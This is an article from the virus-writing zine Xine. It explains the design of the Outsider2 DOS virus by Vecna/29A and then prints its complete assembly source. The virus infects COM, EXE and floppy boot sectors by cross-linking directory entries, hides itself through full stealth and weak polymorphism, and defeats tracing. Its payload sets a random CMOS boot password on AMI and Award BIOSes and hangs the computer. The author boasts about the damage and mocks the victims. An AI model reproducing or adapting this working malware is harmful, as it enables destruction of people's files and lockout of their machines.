/-----------------------------\ | Xine - issue #3 - Phile 300 | \-----------------------------/ Outsider2 virus by Vecna/29A Here is the algorithm of my Outsider2, the last of the serie that I have written. It has polymorphism, infects EXEs and COMs, converts his entry in the root dir to volume label, in order to stops the access to DOS functions and like all the others members of Ousider family, this has a magnific payload... :) The algorithm is descripted here because I saw that are very rare the viruses using this technique. Only Dir2, ByWay and Ousider use it. Dir2 and ByWay uses a different method, based in the manipulation of the DOS control block for disks. Outsider is the only one that uses the int 13 directly to do its job. Outsider can use like a vector for spreading to all antiviruses, including those that uses his own file engines, like TBAV. 1. The virus body is decrypted, with a simple polymorphic routine, that changes the registers used. 2. The virus calls the routine anti-trace(25), to avoid emulation of the virus code. The routine returns a 3 only if anybody is emulating the code. 3. Some variables are initialized, like the values for the encryptation, and the number of directories to read before the hooking of the int 13, if the virus is in a boot sector. 4. The virus verifies if exists a PSP. If it didn't exists, that means that the virus is in a boot sector, then it jumps to 10. 5. The virus calls int 13 to test if it is already resident. The only case in which the virus can be read and be already resident is when it is in a damaged host, that, for example, was copied without the virus resident. If it is already, jumps to 8. 6. The infection of the HD is called(14) and the int13 is hooked(12). 7. The date is verified, and if three months have passed between today and the day when this host was infected (that is calculated in 10), we jumps to our payload(24). If it isn't, jumps to 9. 8. The virus code modifies some instructions, then the virus instead of reexecution will erase itself. We don't want to have copies easy to examine over there ;) 9. The virus searchs its name in the environment, frees memory, and then re-executes(erases) and stays resident(exits to DOS). Because the int13 is our, the virus won't be viewed. If it is realized, 5 will detect and will erase it. 10. We read the MBR at 0:7c00. We just infects floppies, but we continue the booting from the HD, then the user won't see that he is doing a crap (booting with a strange disk). 11. We adjust the memory of the int12, we copy ouserlves, and we go to TOM (Top of Memory). The stack is 0:7c00, then a RETF will give us the original MBR. 12. Here we hook the int13, manipulating the IVT. A RETF returns to MBR or to the code of the file that called us. 13. In this sub-routine we create the polymorphic decryptor, we copy and encrypt the virus in a buffer. 14. Here we infect the hard disk. We try to open the file 0xff, and if we are sucessfull, we take the inicial cluster using SFT. Otherwise, we calculate the month of activation, the value for encryption of the pointer to the original clusters. Then, we create the virus in the root dir, we write the code, and then the we examine SFT. [***BUG***] Sometimes, the virus, won't be able to open the file 0xff because it is marked as VOLUME LABEL. Then, another copy will be created. But there isn't problem, because in the next boot, only the first copy will remain, and the other ones will be erased. But the files infected by this copy, which have a different cluster than the volume label, will stay destroyed. Well, generally, in the first boot, Outsider2 infects *ALL* the disk, for that reason that copy with wrong information about the clusters, probably only will infects floppies, that doesn't use the cluster number... ;-) And, if the virus is volume label, that means it already infected the root dir. Then the COMMAND.COM sure is infected. Then why the virus isn't resident?? People that try to boot by floppies and next executes something in the hard disk are to fool and deserve to have their files destroyed... :-) 15. When the reading of a floppy, we come here. If is the boot sector and it isn't infected yet, we calculate, using the BPB, the last sector of the floppy root dir, and we copy ourselves there, encrypted. This let us capabilities to infect floppies of all sizes, from 360kb to optical floppies of 20mb!! The boot sector is overwriten with a loader for the virus code, and the original boot, used for stealth, goes to the root dir. Now we read that sector, where is the original boot, in the buffer of the caller. Then, we have always stealth, because the infected disks have thee their original information. 16. My int28 handler. This handler calls to infectdrive(14) and unhook itself from int28. We use this because we need to DOS for the creation of our file in the root dir, but we need only to call int21h while DOS isn't using it, and not in the middle of an int13. 17. This is the main routine of the virus, the int13 handler. It calls the routine anti_trace(25), and goes to 15 if is an operation with floppies. 18. We verify if the sector that is viewing/written is a directory, verifying 32 entries, looking for "EXE" or "COM" in the right place. That maybe looks that a not very good check, but if isn't a directory entry, it will rebound in the next checks. 19. If we are using the int28, we won't infect, we just will do stealth. If weren't read the enough number of sectors of directories (we are in a floppy), the counter is decremented and we do stealth(23) 20. If is time to infect the HD(we are in a floppy), we hook int28 and jumps to stealth(23) 21. Now, in a loop, we verify all the entries of that sector, which have a directory. If is my file 0xff, is converted to volume label. If is an EXE or COM, and isn't a file that we can't infect (EXE files that will be loaded as driver by CONFIG.SYS), we infect it. 22. The infection consist in set the read-only attribute, encrypt the original cluster and set our, save the size of the file and set our, and set our mark. But, before we verify if the entry is free, because win95 uses it. Now, the modifications are written to disk. The read-only attribute is necesary, because, otherwise the virus can be overwritten while copying a file, destroying its copy in the root. If is read- only, the user must use CHMOD or another program, that will be infected, and when going resident, it will activate the full stealth. ;-) We set our size in the place of the host's size because our virus, when is read, acts like a COM. And if is an EXE, can't exceed 64kb or we will have an error. ;-) 23. Here we disinfect the directory entry recently read, to hide the virus. And if the entry has our mark, we arrange all the data like it was before our infection. But these modifications aren't written to disk, then we have full stealth. 24. This is the payload, that surely is the causant of lot of phone call to technics. Consists in put a password in the POST section of the boot, in the CMOS. Then, every time when the computer is turned on, the password will be required. To begin, with 1/4 probability, we prints in the screen the virus's copyright, and some lines more. Then in the ROM we look for the marks of AMI or AWARD. Differents routines takes control to set the password, depending of the manufacturer. Those BIOSes are the common ones, and are used for 90% of the machines. The password is random, and the checksum is corrected. Then, the machine hangs up in an infinite loop, with the interruptions deactivated, to avoid a simple CTRL+ALT+DEL. The user must press reset, that gives him more work :P 25. The anti-trace routine verifies the stack, and if it founds problems, it jumps to payload(24). This routine prevents that a tunneler, except emulators, pass the virus. And here is the source of Outsider2. I must thanks to Eternal Maverick of SGWW, that helped me to betatest this virus, and is always a source of inspirative ideas. ; [OUTSIDER 2] by Vecna/29A ; Written when a member of Stealth Group World Wide ; ; Multipartite COM/EXE/BOOT infector ; Full stealth in files and boot sectors ; Infect COM/EXE files throught cross-linking ; Polymorphic (weak) ; Have a nasty payload (put a password in CMOS) ; ; Thanks to Eternal Maverick for the bug checking ; Thanks for all the guys from Undernet #virus ; Thanks to Int13h and b0z0, that letme put this in the place ; of the 'stoled' SpiceGirl ;-) ; .model tiny .386 .code .startup v_size equ offset lastbyte-offset startvir v_size_r equ ((offset lastbyte-offset startvir+100h+0fh) / 10h)*2 v_size_s equ (offset lastbyte-offset startvir+01ffh) / 200h com_ofs equ 0100h _dword equ 4 _word equ 2 _byte equ 1 count equ com_ofs-_byte mypos equ count-_word i13 equ mypos-_dword myuse equ i13-_byte old28 equ myuse-_dword startvir: push ax dec bx poly1 equ byte ptr $ mov si, offset lastbyte crypt: xor byte ptr cs:[si], 00 ; Backward decryption loop value equ byte ptr $ -1 poly2 equ byte ptr $ -2 poly3 equ byte ptr $ dec si ; Avoid 'go' command in debug poly4 equ byte ptr $ +1 cmp si, offset startenc-1 ; and 'F4' in td je instalacao jmp crypt startenc: db 00,'Written by Vecna/SGWW in Brazil 1997',00 instalacao: push cs pop ds call antitrace ; Stack checking code nonzero: in al, 40h ; Choose value for encryption or al, al ; jz nonzero ; Must be != 0 mov byte ptr ds:[value], al mov byte ptr ds:[value2], al mov byte ptr ds:[count], 20h ; No. of dir reads before hook 21 mov byte ptr ds:[myuse], 0h mov word ptr ds:[mypos], -1 ; Init vars cmp word ptr ds:[0], 020cdh push 0 pop ds jne boot ; If not PSP is boot mov ah, 0fbh int 13h ; Install check jnc sair ; If already resident and the ; virus is still read, delete call infectdrive ; Infect the drive C: push cs ; prepare for a retf push cs pop es call hook ; hook int 13 mov ah, 2ah int 21h cmp dh, 00 ; Three months have passed? mes equ byte ptr $ -1 jne nopayload jmp payload sair: mov byte ptr cs:[del], 41h ; Change to UNLINK dec byte ptr cs:[quit] ; Change to TERMINATE nopayload: mov ah, 0dh int 21h ; Flush disk buffers cld mov es, word ptr cs:[2ch] ; Get environment xor ax, ax mov di, 1 seek: dec di scasw jne seek ; Get argv[0] add di, 2 mov dx, di push es pop ds push cs pop es mov ah, 4ah ; Resize mem block mov bx, v_size_r int 21h mov word ptr cs:[psp1], ax ; Setup for EXEC mov word ptr cs:[psp2], ax mov word ptr cs:[psp3], ax mov ax, 4b00h del equ byte ptr $ -1 mov bx, offset paramblock int 21h ; Exec (stealth is now enabled) mov ah, 4dh quit equ byte ptr $ -1 int 21h ; Get ERROR LEVEL mov ah, 31h mov dx, v_size_r int 21h ; Terminate but stay resident boot: mov ax, 0201h mov cx, 1 ; Read MBR to 0:7c00 mov dx, 80h mov bx, 7c00h push ds pop es int 13h push es push bx sub word ptr ds:[413h], v_size_s int 12h ; Decrement mem shl ax, 6 push ax pop es push cs pop ds cld xor di, di mov si, di mov cx, v_size+0100h rep movsb ; Copy virus to high mem push 0 pop ds hook: cli ; Hook int 13 lgs bx, dword ptr ds:[13h*4] mov word ptr es:[i13], bx mov ax, gs ; Use of GS will confuse some AVs mov word ptr es:[i13+2], ax mov ax, offset int13 mov word ptr ds:[13h*4], ax mov ax, es mov word ptr ds:[13h*4+2], ax sti retf ; Execute MBR or retf to file ; installation Table equ this byte db 0bbh, 37h, 4bh, 0fbh db 0beh, 34h, 4eh, 0feh db 0bfh, 35h, 4fh, 0ffh encrypt: xor ax, ax RetryZero: in al, 40h and al, 011b cmp al, 3 je RetryZero mov cl, 4 mul cl mov si, offset Table add si, ax lodsb mov byte ptr [poly1], al lodsb mov byte ptr [poly2], al lodsb mov byte ptr [poly3], al lodsb mov byte ptr [poly4], al mov si, offset startvir mov di, offset lastbyte mov cx, v_size ; Encrypt virus code cryptloop: lodsb cmp si, offset startenc ; Still in decoder? jbe store ; then no encrypt xor al, 00 value2 equ byte ptr $ -1 store: stosb loop cryptloop ret infectdrive: pusha ; save all push es push ds push cs push cs pop ds pop es mov ax, 3d00h ; try open the file mov dx, offset filename int 21h xchg ax, bx jnc getsft mov ah, 2ah int 21h ; Get current date mov al, dh add al, 3 ; add 3 months cmp al, 12 jbe noyear ; in a new year? sub al, 12 noyear: mov byte ptr [mes], al ; put month to activate in al, 40h xchg ah, al in al, 40h ; get encryption for start_cluster mov word ptr [encval1], ax mov word ptr [encval2], ax mov ah, 3ch ; error, then create file mov cx, 7 mov dx, offset filename int 21h push ax call encrypt pop bx mov ah, 40h mov cx, v_size ; write encrypted virus mov dx, offset lastbyte int 21h getsft: push bx mov ax, 1220h int 2fh ; get SFT mov bl, byte ptr es:[di] mov ax, 1216h int 2fh pop bx mov ax, word ptr es:[di+11] ; Get Starting cluster of file mov word ptr ds:[mypos],ax mov ah, 3eh int 21h ; Close pop ds pop es popa ; pop all and return ret call13: pushf call dword ptr cs:[i13] ; call old int 13 ret bootinfect: cmp ax, 201h ; read? jne error cmp cx, 1 jne error cmp dh, 0 ; in boot? jne error call call13 ; call the int jc exiterror infectfloppy: pushf pusha push es push ds push es pop ds mov ax, word ptr cs:[boot_start] cmp word ptr [bx+3eh], ax ; check if already infected je stealth call getsectordir ; get last sector of root dir push cs pop ds push ax sub al, v_size_s ; reserve space for virus mov word ptr [load_cx], ax pop cx mov ax, 301h mov dh, 1 call call13 ; write old boot to end of root add bx, 3eh mov cx, offset boot_end-offset boot_start mov si, offset boot_start mov di, bx rep movsb ; copy loader to old boot mov ax, 301h sub bx, 3eh inc cx xor dh, dh call call13 ; write old boot (overwrited by ; loader) push cs pop es call encrypt ; encrypt virus mov ax, 300h+v_size_s mov cx, word ptr [load_cx] mov dh, 1 mov bx, offset lastbyte call call13 ; write virus stealth: pop ds pop es popa popf ; read the old boot push ds ; from last sector of root push es pop ds ; always read boot from there call getsectordir ; to mascarate a infection mov cx, ax ; done or to do stealth mov dh, 1 mov ax, 201h call call13 pop ds jmp exiterror error: call call13 exiterror: retf 2 getsectordir: mov cx, word ptr [bx+11h] ; Get last sector of root dir shr cx, 4 ; in floppy xor ax, ax mov al, byte ptr [bx+10h] mul word ptr [bx+16h] add ax, cx inc ax sub ax, word ptr [bx+18h] ret int28: pusha push ds push 0 pop ds inc byte ptr cs:[myuse] mov ax, word ptr cs:[old28] mov word ptr ds:[28h*4], ax ; Unhook int 28 mov ax, word ptr cs:[old28+2] mov word ptr ds:[28h*4+2], ax call infectdrive ; now we can safely infect the hd pop ds popa iret int13: cmp ah, 0fbh ; res check jne notcheck clc iret notcheck: call antitrace cmp dl, 80h jne bootinfect ; if in floppy, try to infect boot hdinfect: mov word ptr cs:[save_dx], dx mov word ptr cs:[save_cx], cx call call13 jc exitint pushf pusha push es push ds push es pop ds pusha sub bx, 32 ; scan sector to verify if is mov cx, 16 ; a sector from a dir xor ax, ax loopcheck: add bx, 32 cmp word ptr [bx.ds_ext], 'XE' jne TryCOM dec ax TryCOM: cmp word ptr [bx.ds_ext], 'OC' jne notexe dec ax notexe: loop loopcheck or ax, ax popa je notdir ; Find a COM/EXE in right pos? cmp word ptr cs:[mypos], -1 jne infect ; Can we infect? cmp byte ptr cs:[myuse], 0 jne memdisinfect ; We using the int 13 dec byte ptr cs:[count] cmp byte ptr cs:[count], 0 jne memdisinfect ; Enought dir read to hook 21 dec byte ptr cs:[myuse] pusha push ds push 0 pop ds mov ax, offset int28 xchg ax, word ptr ds:[28h*4] mov word ptr cs:[old28], ax mov ax, cs ; hook int 28 (dos idle) xchg ax, word ptr ds:[28h*4+2] mov word ptr cs:[old28+2], ax pop ds popa jmp memdisinfect infect: pusha pushad sub bx, 32 mov cx, 16 ; Scan dir to cross-link EXE files infectloop: add bx, 32 cmp byte ptr [bx.ds_name], 0ffh ; Is my 0xFF file?? jne NotVolume or byte ptr [bx.ds_attr], 00001000b ; Put Volume Label jmp DoLoop NotVolume: cmp dword ptr [bx.ds_res], 0 jnz doloop ; the reserved bytes are empty? cmp word ptr [bx.ds_ext], 'XE' je CanInfect ; is a EXE file? cmp word ptr [bx.ds_ext], 'OC' jne doloop ; is a COM file? CanInfect: cmp word ptr [bx.ds_size], v_size jb doloop ; Bigger than me? mov eax, dword ptr [bx.ds_name] cmp eax, 'RAHS' ; SHARE? je doloop cmp eax, '3MME' ; EMM386? je doloop cmp eax, 'VTES' ; SETVER? je doloop cmp eax, 'SVRD' ; DRVSPACE? je doloop cmp eax, 'ETNI' ; INTERSRV? je doloop cmp eax, 'EZIS' ; SIZER? je doloop or byte ptr [bx.ds_attr], 00000001b ; Put read only on file mov ax, word ptr [bx.ds_s_c] xor ax, 0h ; Encrypt host starting cluster encval1 equ word ptr $-2 mov word ptr [bx.ds_res], 'cV' ; Your mark (Vc=Vecna) mov word ptr [bx.ds_res+2], ax ; Save start cluster(encrypted) mov eax, dword ptr [bx.ds_size] mov dword ptr [bx.ds_res+4], eax ; Save host size mov ax, word ptr cs:[mypos] mov word ptr [bx.ds_s_c], ax ; And cross-link to your pos mov dword ptr [bx.ds_size], v_size doloop: dec cx jcxz Done jmp infectloop ; do for all sector Done: popad mov ax, 301h mov cx, 0000 save_cx equ word ptr $ -2 mov dx, 0000 save_dx equ word ptr $ -2 call call13 ; Write the changes popa memdisinfect: pushad sub bx, 32 mov cx, 16 ; Disinfect in memory loopdisinfect: add bx, 32 cmp word ptr [bx.ds_res], 'cV' ; Is infected? jne doloop2 mov ax, word ptr [bx.ds_res+2] xor ax, 0h ; Restore start cluster encval2 equ word ptr $-2 mov word ptr [bx.ds_s_c], ax mov eax, dword ptr [bx.ds_res+4] mov dword ptr [bx.ds_size], eax ; Restore host size xor eax, eax mov dword ptr [bx.ds_res], eax ; Hide changed bytes mov dword ptr [bx.ds_res+4], eax doloop2: loop loopdisinfect ; Do for all sector popad notdir: pop ds pop es popa popf exitint: retf 2 payload: push cs pop ds in al, 40h and al, 00000011b ; 1/4 chance to show message or al, al jnz checkbios printmsg: mov ax, 3 int 10h cld xor bx, bx call next db 10,13,7 db 10,13,7 db 10,13,7 db '[OUTSIDER 2] Ahh... Eu to maluco...',10,13 db 'Escrito em Santa Catarina',10,13 db 'O Sul ‚ meu pais...',10,13 db 'Abaixo o neoliberalismo',10,13,00 next: pop si pnext: mov ah, 0eh lodsb int 10h ; Print string or al, al jnz pnext checkbios: push 0f000h pop es xor di, di mov cx, -1 scan: pusha mov si, offset award ; Scan ROM for BIOS manufacturer mov cx, 5 repe cmpsb popa jz award_psw ; Is a AWARD machine inc di loop scan ami_psw: mov ax, 002fh ; else is a AMI... call read mov bx, ax ; if isn't AMI, erase CMOS mov al, 2dh call step1 or al, 00010000b ; Always ask psw call step2 mov al, 2fh mov dh, bl call write mov al, 3eh call read mov ah, al mov al, 3fh ; rewrite cmos checksum call read mov bx, ax mov ax, 0038h call rndpsw ; Put a random password mov al, 39h call rndpsw ; Put a random password mov dh, bh mov al, 3eh call write mov dh, bl mov al, 3fh call write ; rewrite cmos checksum jmp hehehe award_psw: mov ax, 002fh call read mov bx, ax mov al, 11h call step1 or al, 00000001b ; ask password in POST call step2 mov al, 1bh call step1 or al, 00100000b ; always ask password call step2 mov al, 2fh mov dh, bl call write ; do checksum mov al, 7dh call read mov ah, al mov al, 7eh call read mov bx, ax mov ax, 0050h call rndpsw mov al, 51h call rndpsw ; put a random password mov dh, bh mov al, 7dh call write mov dh, bl mov al, 7eh call write ; do checksum hehehe: cli jmp $ ; hang cpu read: and al, 7fh ; read byte from cmos out 70h, al jmp $+2 jmp $+2 in al, 71h ret write: and al, 7fh ; write byte from cmos out 70h, al jmp $+2 mov al, dh out 71h, al ret rndpsw: mov dh, al ; put random password and call read ; do their checksum sub bx, ax in al, 40h add bx, ax xchg al, dh call write ret step1: mov dh, al ; checksum processing call read sub bx, ax ret step2: add bx, ax ; checksum processing xchg al, dh call write ret award db 'AWARD' antitrace: pushf push ax ; Do a stack check like TBAV push bx pop bx dec sp dec sp pop ax cmp ax, bx ; Tracing? pop ax jne payload ok: popf ret boot_start equ word ptr $ mov ax, 7e0h ; Load virus code in 07e0:0100 mov es, ax mov bx, 100h mov cx, 0h load_cx equ word ptr $ -2 ; Where the virus code is stored mov dx, 100h cli mov sp, 7c00h mov ax, cs ; Set stack to 0:07c00 (classic!) mov ss, ax sti mov ax, 200h+v_size_s int 13h db 0eah dw 0100h ; do a far jmp to 07e0:0100 dw 07e0h boot_end equ $ filename db 'C:\',255,0 ; filename is 0xff paramblock dw 0 ; block need for EXEC dw 0080h psp1 dw 0 dw 005ch psp2 dw 0 dw 006ch psp3 dw 0 dir struc ds_name db 8 dup (?) ds_ext db 3 dup (?) ; structure to access dir sector ds_attr db 1 dup (?) ds_res db 10 dup (?) ds_time db 4 dup (?) ds_s_c db 2 dup (?) ds_size db 4 dup (?) ends lastbyte equ this byte end